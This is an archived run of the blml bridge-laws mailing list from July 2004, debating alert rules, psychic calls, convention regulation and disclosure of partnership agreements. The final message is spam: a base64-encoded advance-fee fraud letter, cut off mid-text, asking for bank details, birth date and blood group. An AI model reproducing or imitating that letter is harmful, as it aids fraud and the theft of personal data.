18:58:06 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: <15byydKuwoCBFwrM@blakjak.demon.co.uk> RJH wrote >Frances Hinden: > >[snip] > >>I am aware of a pair who >>a) play double as non-lead-directing of all cuebids >>b) do not alert every pass of a cuebids >> >>which strikes me as of dubious legality, but at least >>they have to alert the double whereas a normal lead- >>directing double doesn't have to be alerted. > >[snip] > >Richard Hills: > >In my opinion, that pair's failure to alert passes of >cuebids is not merely "dubious", but rather a total >infraction of the EBU alert rules. > >Orange Book, clause 5.2.1(c): > >>>You must alert a call if it is natural, but its >>>meaning is affected by other agreements which your >>>opponents are unlikely to expect. Correct. There is no doubt it is alertable. >Richard Hills: > >But, in my opinion, that pair's (properly alerted) idea >to use an Undouble convention should not fall foul of >the EBU "designed solely to deceive" regulation. Correct. It does not. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jul 30 18:59:57 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jul 2004 18:59:57 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CE8@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CE8@lonsc-s-031.europe.shell.com> Message-ID: Hinden, Frances SI-PXS wrote >There is a huge difference between non-lead-directional >doubles of cuebids of a suit you have overcalled in, and >non-lead-directional doubles of all cuebids IF your >opponents know your methods and have the blue card available. Not for alerting purposes, there is not. If a call is alertable, CCs are irrelevant: prior knowledge is irrelevant. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From twm@cix.co.uk Fri Jul 30 19:57:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 30 Jul 2004 19:57 +0100 (BST) Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <4109FC37.2080800@hdw.be> Message-ID: Herman, Do you play much bridge with pick-up partners? I often find I am guessing as to how partner intends a particular call. My belief is that my disclosure obligations are met if an opponent looking at my hand would be equally well positioned to guess correctly as I am. If a sequence is undiscussed opps must be told that at least as *part* of the explanation, perhaps as the entire explanation. Tim From ereppert@rochester.rr.com Fri Jul 30 20:08:49 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jul 2004 15:08:49 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: On Friday, Jul 30, 2004, at 00:00 US/Eastern, richard.hills@immi.gov.au wrote: > Some years ago, the gafiated David Burn correctly noted that > Law 40A was not written in English. Therefore, any paraphrase > of Law 40A is as invalid as dividing by zero, Interesting analogy, but I don't think linguistics is quite analogous to mathematics. > *unless* the paraphrasing body is the WBF Laws Committee or a Zonal > Authority > or a National Authority. Heh. I was going to question "National Authority", until I remembered Law 93C. But is there any other case in which a NA may pronounce? From ehaa@starpower.net Fri Jul 30 21:23:36 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 30 Jul 2004 16:23:36 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: References: <004701c474b7$bef57110$0d80b6d4@LNV> <000f01c47586$c96c1e30$965ddccb@noeltsui0kso1i> Message-ID: <6.1.1.1.0.20040730161359.02a266b0@pop.starpower.net> At 01:47 PM 7/30/04, David wrote: > But, despite this, you say that conventions with no technical merit > and designed to gain an unfair advantage should be permitted? We'd probably all agree that if the designer of a convention was prepared to testify that his convention had no technical merit and was designed to gain an unfair advantage we'd be prepared to ban it. But if someone thinks his convention has technical merit, and swears that it was not designed to gain an unfair advantage, who are we to say otherwise? Of course, a convention may give its users an unfair advantage even though that was not the purpose behind its design. But if we think a convention gives its users an unfair advantage, we should use the power of the Law to take the unfair advantage away, not to take the convention away. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From wayne.burrows@xtra.co.nz Fri Jul 30 22:22:57 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sat, 31 Jul 2004 09:22:57 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <000601c4767b$625d6780$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Saturday, 31 July 2004 5:55 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > Certainly the ABF's disclosure would be inadequate for > this pair - I > have seen your Convention Cards! The ABF card has a place to disclose 1NT 2D and 1NT 2H. That would be adequate. Wayne From TG0JLH1@wpo.cso.niu.edu Fri Jul 30 23:48:10 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Fri, 30 Jul 2004 17:48:10 -0500 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills: As a Socratic question, I ask what a statement with a matrix of "A player may not ... unless ..." means? Does it mean that the general prohibition of "not" is cancelled by the specific exceptions commencing with "unless"? -------------------- Jim Hudson: Yes. But the lack of a prohibition is not a permission. --------------------- Richard Hills: As a Socratic question, I ask whether a single general Law should be read in isolation from a specific Law limiting the powers of a TD? Law 81B2: >The Director is bound by these Laws **and by >supplementary regulations announced by the sponsoring >organisation**. ----------------------------------- Jim Hudson: It goes without saying that the "supplementary regulations" mentioned in Law 81B2 must not be in conflict with the Laws. A supplementary regulation the import of which is to cancel one of the laws is invalid. From blml@blakjak.com Sat Jul 31 00:05:33 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 31 Jul 2004 00:05:33 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <6.1.1.1.0.20040730161359.02a266b0@pop.starpower.net> References: <004701c474b7$bef57110$0d80b6d4@LNV> <000f01c47586$c96c1e30$965ddccb@noeltsui0kso1i> <6.1.1.1.0.20040730161359.02a266b0@pop.starpower.net> Message-ID: Eric Landau wrote >At 01:47 PM 7/30/04, David wrote: > >> But, despite this, you say that conventions with no technical merit >>and designed to gain an unfair advantage should be permitted? > >We'd probably all agree that if the designer of a convention was >prepared to testify that his convention had no technical merit and was >designed to gain an unfair advantage we'd be prepared to ban it. But >if someone thinks his convention has technical merit, and swears that >it was not designed to gain an unfair advantage, who are we to say >otherwise? > >Of course, a convention may give its users an unfair advantage even >though that was not the purpose behind its design. But if we think a >convention gives its users an unfair advantage, we should use the power >of the Law to take the unfair advantage away, not to take the >convention away. Why? Who gave you the right to decide the Laws are correct and regulations are wrong? That's ludicrous. Our regulations are made under the Laws. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Jul 31 00:06:20 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 31 Jul 2004 00:06:20 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <000601c4767b$625d6780$0401010a@Desktop> References: <000601c4767b$625d6780$0401010a@Desktop> Message-ID: <0bLS6dUsRtCBFwZj@blakjak.demon.co.uk> Wayne Burrows wrote > > >> -----Original Message----- >> From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On >> Behalf Of David Stevenson >> Sent: Saturday, 31 July 2004 5:55 a.m. >> To: blml@rtflb.org >> Subject: Re: [blml] Deceiving and destroying >> >> >> Certainly the ABF's disclosure would be inadequate for >> this pair - I >> have seen your Convention Cards! > >The ABF card has a place to disclose 1NT 2D and 1NT 2H. > >That would be adequate. It is not big enough. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From TG0JLH1@wpo.cso.niu.edu Sat Jul 31 00:18:25 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Fri, 30 Jul 2004 18:18:25 -0500 Subject: [blml] Reno NABC+ appeal number eleven Message-ID: >>> 7/29/2004 11:44:58 PM >>> Mixed Pairs Dlr: West Vul: None The bidding has gone: WEST NORTH EAST SOUTH 1C 2NT(1) Pass 3S Dble(2) 5D Pass ? (1) At least 5/5 in spades & diamonds, weak or strong (2) Undiscussed You, South, hold: KT743 A63 764 85 What call do you make? What other calls do you consider making? ----------------- It's pretty clear from the double that North forgot our agreement--that he has either the minors or the red suits, at least eleven long and probably strong. He should have at least eleven of them, likely twelve. (But we need to know what 4NT would have meant at his first turn to guess why he didn't bid that instead of 2NT.) Furthermore, if he has the minors his second bid should have been 4NT, demanding that I choose. So more likely he has a strong hand with 5-6 or 5-7 in hearts and diamonds. (I hope he will not be judged to have used UI from my explanation in choosing to bid 5D.) I choose to correct to 5H; pass is worth considering, but my hand is good enough to offer partner one more chance, and since I expect to make the contract, hearts scores more than diamonds. If I trusted partner and not the opponents I would bid 5S or 6S, so I suppose those calls have to be *considered*. Jim Hudson From nigel.guthrie@ntlworld.com Sat Jul 31 00:34:11 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 31 Jul 2004 00:34:11 +0100 Subject: [blml] Tuesday night at the Belconnen Labor Club Message-ID: <003c01c4768d$b86f8880$1f9868d5@jeushtlj> > [Marvin French] > The one that accords with the action I > intend to take: Either pass, taking > partner for 25-27 HCP; or 4C, taking > partner for Gambling 3NT. If I guess > right, no MI, as partner and I are on > the same wavelength and we have a > *de facto* partnership agreement. If > I guess wrong, there is MI, and the > opponents get redress if any damage > results. I am not going to evade > responsibility by saying "No agreement" > when I intend to make a call based on > an assumed agreement. [Nigel] I agree with Marvin that if you don't know you should guess (and live with any MI consequences). Such a position is simple, rational and just. Traditionally, the law pays little regard to common-sense or morality; and I fear that most pundits rule Marvin's explanation illegal. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.732 / Virus Database: 486 - Release Date: 29-Jul-04 From grandeval@vejez.fsnet.co.uk Sat Jul 31 00:54:22 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Sat, 31 Jul 2004 00:54:22 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> <002201c47616$3242c050$4e6a893e@yourtkrv58tbs0> Message-ID: <006c01c47691$0733fe80$fc8b87d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "There is nothing in this world constant, but inconstancy." - Jonathan Swift. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "WILLIAM SCHODER" To: "Grattan Endicott" Cc: "blml" Sent: Friday, July 30, 2004 11:53 AM Subject: Re: [blml] Deceiving and destroying >. Further, please give me your opinion on whether or > not barring psyches(sic) is a "condition" to be regulated > by SOs, or is an integral part of the game. Maury > Braunstein taught me too many years ago that the Laws > do not permit you to bar psyches, but they do permit > you to bar psychers. In teaching the laws for many > years to club directors and interested players in > seminars, I used this concept. Was I wrong? > +=+ The WBF By-Laws say: "The (Laws) Committee shall interpret the Laws" The following are extracts from WBFLC minutes: " The Laws define correct procedure" "The condition in Law 80F applies to regulations made under Law 80F but not to regulations made under Laws 80D, 80E or other powers to regulate granted in the Laws" "The powers to regulate conventions are unrestricted and include the power to ban conventions in given circumstances" In my view the game is what the Laws say it is and what the laws say is what the WBFLC says the laws say (subject to ratification by the WBF Executive Council). It is thus the case that barring psychics of conventional calls is a matter that SOs may regulate; psychics of natural calls are permitted (conditionally) by the laws and my belief is that such psychics are only subject to regulation if they become partnership understandings (For example, Law 40D may then apply). I do not regard the nature of the game to be immutable. It has already changed on occasions in the past. ~ G ~ +=+ From schoderb@msn.com Sat Jul 31 01:36:37 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Fri, 30 Jul 2004 20:36:37 -0400 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> <002201c47616$3242c050$4e6a893e@yourtkrv58tbs0> <006c01c47691$0733fe80$fc8b87d9@yourtkrv58tbs0> Message-ID: All well and good, but you still haven't answered my question. Is a psychic call a convention? Was I wrong? I'd appreciate more than quoting the Laws to me, I can read them as well as anyone and am at least as up on what is interpretation as you are, have done so for years, and continue to find myself queasy at applying 40D when we are dealing with 40A. And as I've said what feels like a thousand times, a violation of bidding understanding, by partnership agreement, does not meet the definition of a psychic call, so it is therefore specifically exempted from 40A, by 40A, and handled elsewhere. I find it onerous to have to repeat this constantly. If it isn't a psychic call, by DEFINITION, then it isn't a psychic call! For those who have asked for clarification ----- There has been a long time problem with the clubs, particularly in ACBL, almost all of them are proprietary, when it comes to the LOGuy who comes to the club, makes frequent and crazy psychic calls, has one of them work, has a lousy score, could care less, but had a great afternoon. Since the rest of the customers have come to play bridge -- to the best of their abilities, -- this is disruptive, and the owner/proprietor has to resolve this problem. Denying entry to the game is one way of protecting his customers. It works wonders when this individual finds himself relegated to clubs of his ilk, and he no longer can gloat about beating a good player. This is at best a stop-gap measure, but the entry fees pay the groceries, and the entertainment the club is trying to provide is a bridge competition, not a free-for-all, anti-bridge event. Don't handle this kind of problem, and you might as well close the door. Kojak ----- Original Message ----- From: "Grattan Endicott" To: "WILLIAM SCHODER" Cc: "blml" Sent: Friday, July 30, 2004 7:54 PM Subject: Re: [blml] Deceiving and destroying > grandeval@vejez.fsnet.co.uk > [also gesta@tiscali.co.uk] > ********************************** > "There is nothing in this world constant, > but inconstancy." > - Jonathan Swift. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ----- Original Message ----- > From: "WILLIAM SCHODER" > To: "Grattan Endicott" > Cc: "blml" > Sent: Friday, July 30, 2004 11:53 AM > Subject: Re: [blml] Deceiving and destroying > >. Further, please give me your opinion on whether or > > not barring psyches(sic) is a "condition" to be regulated > > by SOs, or is an integral part of the game. Maury > > Braunstein taught me too many years ago that the Laws > > do not permit you to bar psyches, but they do permit > > you to bar psychers. In teaching the laws for many > > years to club directors and interested players in > > seminars, I used this concept. Was I wrong? > > > +=+ The WBF By-Laws say: > "The (Laws) Committee shall interpret the Laws" > > The following are extracts from WBFLC minutes: > " The Laws define correct procedure" > "The condition in Law 80F applies to regulations > made under Law 80F but not to regulations made > under Laws 80D, 80E or other powers to regulate > granted in the Laws" > "The powers to regulate conventions are unrestricted > and include the power to ban conventions in given > circumstances" > > In my view the game is what the Laws say it is and > what the laws say is what the WBFLC says the laws > say (subject to ratification by the WBF Executive > Council). It is thus the case that barring psychics of > conventional calls is a matter that SOs may regulate; > psychics of natural calls are permitted (conditionally) > by the laws and my belief is that such psychics are > only subject to regulation if they become partnership > understandings (For example, Law 40D may then > apply). I do not regard the nature of the game to be > immutable. It has already changed on occasions in > the past. > > ~ G ~ +=+ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Sat Jul 31 01:47:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sat, 31 Jul 2004 10:47:38 +1000 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills: >>As a Socratic question, I ask what a statement with >>a matrix of "A player may not ... unless ..." means? >>Does it mean that the general prohibition of "not" >>is cancelled by the specific exceptions commencing >>with "unless"? Jim Hudson: >Yes. But the lack of a prohibition is not a permission. Richard Hills: In my opinion, we seem to be talking at cross-purposes. I have been talking about the *disclosure* of partnership agreements. I argue that the general provision under Law 75A of "fully and freely available to the opponents" might be limited by specific SO regulations under the specific Law 40B clause of "or unless his side discloses the use of such call or play in accordance with the regulations of the sponsoring organisation". But I fully agree with Jim that *permission* to use a particular agreement is not relevant to Law 40B. Such permission, rather, is regulated by SOs in accordance with Law 40D. Best wishes RJH From hermandw@hdw.be Sat Jul 31 02:37:40 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 31 Jul 2004 03:37:40 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <410AF7E4.2030602@hdw.be> Yes Tim, I do Tim West-Meads wrote: > Herman, > > Do you play much bridge with pick-up partners? very often. Today I entered my bridge club again without a partner, adn by chance I stumbled on the same partner as last tuesday, when I also came without a partner. So we did not agree on many things, and we had a mistake on Blackwood. (1430 or 3041?) > I often find I am guessing > as to how partner intends a particular call. My belief is that my > disclosure obligations are met if an opponent looking at my hand would be > equally well positioned to guess correctly as I am. If a sequence is > undiscussed opps must be told that at least as *part* of the explanation, > perhaps as the entire explanation. > Well, I agree with you, but in order to do so, we really need to tell a great deal. Let me try and expand: "well, we played on tuesday together, and I am certain we play five key-cards. I am also fairly certain that it's either 4130 or 3041. And we also discussed on tuesday, and I remember that I said I always play it 4130 and he always plays it 3041. I then said that 4130 is better and he agreed. I believe we finally decided on 4130 on tuesday, but I'm not certain about that. We said nothing today." Suppose for a moment that partner remembers the same thing, and that he indeed has responded according to 1430. What is the difference between the explanation above and my simple answer "5Di = 3 or zero key-cards". And suppose we both have the same idea, but I respond "I have no idea"? > Tim > (just as an aside, I remembered we had no agreement, but I asked 4NT anyway. It was impossible he did not have at least 2 aces, and I wanted to know if he had a third one (the fourth one would just be unhelpful - there were at least 7 HCP out - sadly his second bid had been misunderstood (well, wrong) as he had only 11 points an not 15. we were off 3 aces). -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From grabiner@alumni.princeton.edu Sat Jul 31 03:37:57 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Fri, 30 Jul 2004 22:37:57 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: <2CFF8405-E22D-11D8-8857-0030656F6826@rochester.rr.com> References: <2CFF8405-E22D-11D8-8857-0030656F6826@rochester.rr.com> Message-ID: <6.1.2.0.0.20040730223419.01e499c0@mail.comcast.net> At 09:34 AM 7/30/2004, Ed Reppert wrote: >A couple of years ago, my then partner and I decided to give Romex a try. >One evening at the club, after we'd been playing it a couple months, the >TD walked up and said "I understand you're playing an artificial and >forcing 1NT opening." When I confirmed we were, the TD said "That bid is >banned in this club," and walked away. I protested that it is legal under >the ACBL's General Convention Chart. No matter. He was adamant. Another TD >who was assisting that evening, and who runs another club said "you can >play it at my club, provided you pre-alert it and provide a written >defense to it." > >I presume both of these TDs were acting on the "save the field from such a >novelty" idea (nobody else around here plays Romex). I think they were >both wrong. ACBL clubs are not governed by the General Convention Chart; they have the authority to set their own regulations on conventions, and this authority is officially delegated to them by the ACBL. (They also go beyond that authority; I have played at one club which barred psyches, in violation of the Laws.) However, if an ACBL club is the site of an official ACBL game such as a Sectional Tournament at Clubs, it is governed by the tournament rules and must allow the convention chart which was announced for the tournament. From wayne.burrows@xtra.co.nz Sat Jul 31 04:09:12 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sat, 31 Jul 2004 15:09:12 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <006c01c47691$0733fe80$fc8b87d9@yourtkrv58tbs0> Message-ID: <003601c476ab$c1230740$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Grattan Endicott > Sent: Saturday, 31 July 2004 11:54 a.m. > To: WILLIAM SCHODER > Cc: blml > Subject: Re: [blml] Deceiving and destroying > > > grandeval@vejez.fsnet.co.uk > [also gesta@tiscali.co.uk] > ********************************** > "There is nothing in this world constant, > but inconstancy." > - Jonathan Swift. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ----- Original Message ----- > From: "WILLIAM SCHODER" > To: "Grattan Endicott" > Cc: "blml" > Sent: Friday, July 30, 2004 11:53 AM > Subject: Re: [blml] Deceiving and destroying > >. Further, please give me your opinion on whether or > > not barring psyches(sic) is a "condition" to be regulated > > by SOs, or is an integral part of the game. Maury > > Braunstein taught me too many years ago that the Laws > > do not permit you to bar psyches, but they do permit > > you to bar psychers. In teaching the laws for many > > years to club directors and interested players in > > seminars, I used this concept. Was I wrong? > > > +=+ The WBF By-Laws say: > "The (Laws) Committee shall interpret the Laws" > > The following are extracts from WBFLC minutes: > " The Laws define correct procedure" > "The condition in Law 80F applies to regulations > made under Law 80F but not to regulations made > under Laws 80D, 80E or other powers to regulate > granted in the Laws" > "The powers to regulate conventions are unrestricted > and include the power to ban conventions in given > circumstances" This is a nonsense and I do not believe that the WBF or a subset of the WBF mean this. And I will continue saying this until I am told and convinced that the WBF intend this law to mean that the SO can regulate conventions by contradicting any other law they choose e.g. "If you use Stayman then you can revoke". I do not see this as any different than "If you play convention A then you can not exercise your rights in L40A" which is the effect of a regulation that bans psychic use of conventional bids. > > In my view the game is what the Laws say it is and > what the laws say is what the WBFLC says the laws > say (subject to ratification by the WBF Executive > Council). It is thus the case that barring psychics of > conventional calls is a matter that SOs may regulate; > psychics of natural calls are permitted (conditionally) > by the laws and my belief is that such psychics are > only subject to regulation if they become partnership > understandings (For example, Law 40D may then > apply). I do not regard the nature of the game to be > immutable. It has already changed on occasions in > the past. > And what do you propose one does when a NO decides to regulate non-conventional psychic calls. We have some regulations in New Zealand that impinge on the Law 40A right to make psychic bids. You are not allowed to psyche more than twice per session. A player making a Psychic calls at the National Congress must fill in a psyche form. Wayne From john@asimere.com Sat Jul 31 04:35:37 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 31 Jul 2004 04:35:37 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <4109FC37.2080800@hdw.be> References: <4109FC37.2080800@hdw.be> Message-ID: In article <4109FC37.2080800@hdw.be>, Herman De Wael writes >Hello Richard, > >I did think it strange that we were apparently disagreeing over >something so simple, and it turns out I was right. Let's try and close >the gap some more: > >richard.hills@immi.gov.au wrote: Richard let's set a test for Herman. I've written down a "one word" answer to the following auctions for the meaning of the last call. You do the same. We haven't discussed any of them (trust me we wouldn't have), it's as much as any can do to get me to agree on anything but I've been known to say "better minor, 3 wk 2's, Ogust, mini 1st and 2nd, strong 3 and 4, 4 suit xfers, std carding, 5 card Stayman, 3041, 4sf, splinters" as I sit down for the first board. all unopposed auctions, God help us if they were opposed. 1) 1H 4D 2) 2N 3C 3D 3H 3) 1N 2C 2H 4C 4) P 1D 2H 5) 1C 1H 4C 6) 1C 1H 1S 4C 7) 2D 2N 3H 8) 2C 2D 2H 2S 2N Herman, (and I promise I've used meanings I've used within the last 5 years for all these calls), how many of these are we going to have an implicit partnership agreement on? John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From obasanjodele@sify.com Fri Jul 30 12:58:25 2004 From: obasanjodele@sify.com (obasanjodele@sify.com) Date: Fri, 30 Jul 2004 4:58:25 -0700 Subject: [blml] Urgent and Important proposal (Funds Transfer for Investment) DQoNClZFUlkgQ09ORklERU5USUFMDQoNCkRlYXIgRnJpZW5kLA0KDQpJIGRlY2lkZWQgdG8gd3Jp dGUgeW91IGFmdGVyIHN0dWR5aW5nIHlvdXIgcHJvZmlsZS4NCkkgZmVsdCB5b3UgY291bGQgYmUg dGhlIGJlc3QgcGVyc29uIHRvIGNvbnRhY3QgZm9yIA0KdGhpcyBwZXJ0bmVyc2hpcCBhbmQgYXNz aXN0YW5jZS4gTXkgaW50ZW50aW9uIGlzIHRvIA0Kc2hlYXIgbXkgZ29vZG5lc3Mgd2l0aCB5b3Ug aWYgeW91IHdpbGwgYmUgd2lsbGluZyBhbmQNCnJlYWR5Lg0KTXkgbmFtZSBpcyBNciwgRGVsZSBP YmFzYW5qbyBJIGFtIHRoZSBmaXJzdCBzb24gb2YgdGhlIHRoaXJkIHdpZmUgb2YgbXkgZmF0aGVy LFJ0ZC4gR2VuZXJhbC5DaGllZiBPbHVzZWd1biBPYmFzYW5qbyx0aGUgcHJlc2VudCBDaGllZiBF eGVjdXRpdmUgUHJlc2lkZW50IG9mIHRoZSBGZWRlcmFsIFJlcHVibGljIG9mIE5pZ2VyaWEgaW4g V2VzdCBBZnJpY2EuDQoNCkkgYW0gY2FsbGluZyBvbiB5b3UgdG8gYXNzaXN0IG1lIGluIHJlY2Vp dmluZyB0aGUgc3VtIG9mIGh1bmRyZWQgYW5kIHR3ZW50eSBzaXggbWlsbGlvbiBkYWxsYXNbJDEy Nm1dIHRoYXQgSSBudGVuZCB0byB0cmFuc2ZlciB0byBvdmVyc2VhcywgeW91ciBjb3VudHJ5LiBJ IGFtIHRoZSBlbmVmYWN0b3IgYXMgaGUgdXNlZCBteSBkYXRhIGFuZCBuYW1lIHRvIGtlZXAgaXQg aW4gYW4gYWNjb3VudCBpbiBhIGJyYW5jaCBvZiBvbmUgb2Ygb3VyIGJpZyBiYW5rcyBoZXJlIGlu IE5pZ2VyaWEuDQoNCk15IGZhdGhlciB0aGUgUHJlc2lkZW50IGhhZCBrZXB0IHRoaXMgbW9uZXkg aW4gdGhlIGJhbmsgc2luY2UgMTk5OSBhbmQgSSBkb26SdCBoYXZlIGFjY2VzcyB0byBpdCBleGNl cHQgdGhyb3VnaCBhIGZvcmVpZ24gcGF0bmVyIHRoYXQgSSB3aWxsIHNpZ24gaW4gYXMgdGhlIG93 bmVyIGFuZCB0aGVuIHRyYW5zZmVyIGl0IHRvIG92ZXJzZWFzIG9mIHdoaWNoIEkgd291bGQgd2Fu dCB0byBiZSB5b3UgaWYgeW91IHdpbGwgY28tb3BlcmF0ZSB3aXRoIG1lIHdpdGggYWxsIHNpbmNl cml0eSBhbmQgdHJ1c3QgYWNjb3JkaW5nIHRvIHdoYXQgdGhlIHByZXNlbnQgTWFuYWdlciBvZiB0 aGUgYmFuayB0b2xkIG1lIGFmdGVyIG15IGRpc2N1c3Npb24gd2l0aCBoaW0uIEJlIGluZm9ybWVk IHRoYXQgdGhlcmUgaXMgbm8gcmlzayBhc3NvY2lhdGVkIHdpdGggdGhpcyBhcyBpdCBpcyBub3Qg ZnJhdWQgYnV0IGxlZ2l0aW1hdGUgYmVjYXVzZSwgdGhpcyBtb25leSBiZWxvbmdzIHRvIG1lICxt eSBtb3RoZXIsIGFuZCBteSB5b3VuZ2VyIG9uZXMuIEkgaW50ZW5kIHRvIGNvbWUgb3ZlciB0byB5 b3VyIGNvdW50cnkgYWZ0ZXIgdGhlIHRyYW5zZmVyIGFuZCBiZWZvcmUgbXkgZmF0aGVyIGxlYXZl cyBwb3dlciB3aXRoIG15IG1vdGhlciBhbmQgbXkgeW91bmdlciBvbmVzIGJlZm9yZSBoZSBkZW5p ZXMgdXMgb2YgdGhpcyBtb25leS4gSGUgaGFzIGFscmVhZHkgdGFrZW4gb25lIGZyb20gdGhlIHR3 byBlc3RhdGVzIGhlIGhhZCBnaXZlbiB0byBteSBvd24gZmFtaWx5IGVhcmxpZXIgYW5kcyBpZiBJ IGRvbpJ0IG1ha2UgaGFzdGUsIGhlIGNvdWxkIHJlcGVhdCBpdCBhbmQgZXZlbiBkZW55IHVzIHRo aXMgbW9uZXkuIFNvIHdyaXRlIG1lIGFuZCBnaXZlIG1lIGEgYmFuayBhY2NvdW50IG51bWJlciB3 aXRoIGV2ZXJ5IGluZm9ybWF0aW9uIGFib3V0IGl0IGZyb20gYSByZXB1dGFibGUgYmFuayBpbiB5 b3VyIGNvdW50cnkuDQoNClRoZSBhY2NvdW50IG1heSBvciBtYXkgbm90IGNvbnRhaW4gYW55IG1v bmV5IGJ1dCBtdXN0DQpiZSBmZWFzaWJsZSB0byByZWNlaXZlIG1vbmV5IGZyb20gb3ZlcnNlYXMg dGhlbiB3aGVuIEkNCmNvbWUgb3ZlciwgSSB3aWxsIGdpdmUgeW91IHlvdXIgc2hlYXIgb2YgaXQg Zm9yIGFzc2lzdGluZw0KbWUuQWxzbywgZ2l2ZSBtZSB5b3VyIGJpcnRoIGRhdGUgYW5kIGJsb29k IGdyb3VwIGJlY291c2UgSSB3aWxsIHVzZSB0aGVtIHRvIGZpbGwgdGhlIGZvcm1zIGZvciB0aGUg dHJhbnNmZXIgcHJvY2Vzc2luZy4gSSBoYXZlIHNldCBhc2lkZSAxNSUgZm9yIHlvdSwgNSUgZm9y IGVmaWxsaW5nIGV2ZXJ5IGV4cGVuY2VzIGl0IGNvdWxkIHRha2UgdG8gdHJhbnNmZXIgaXQgbGVj dHJvbmljYWxseSB3aGlsZSBJIHdpbGwgdGhlbiBpbnZlc3QgdGhlIHJlc3QgaW4geW91ciBjb3Vu dHJ5Lg0KDQpBbHNvIGdpdmUgbWUgeW91ciBwaG9uZSBhbmQgZmF4IG51bWJlcnMgdG8gYWx3YXlz IHJlYWNoIHlvdSB3aGVuIG5lY2Vzc2FyeSBhcyBJIGFtIHByb21pc2luZyB5b3UgdGhhdCBldmVy eSBpbmZvcm1hdGlvbiB5b3UgbWF5IGdpdmUgdG8gbWUgd2lsbCBiZSBrZXB0IHNlY3JldCBhbmQg 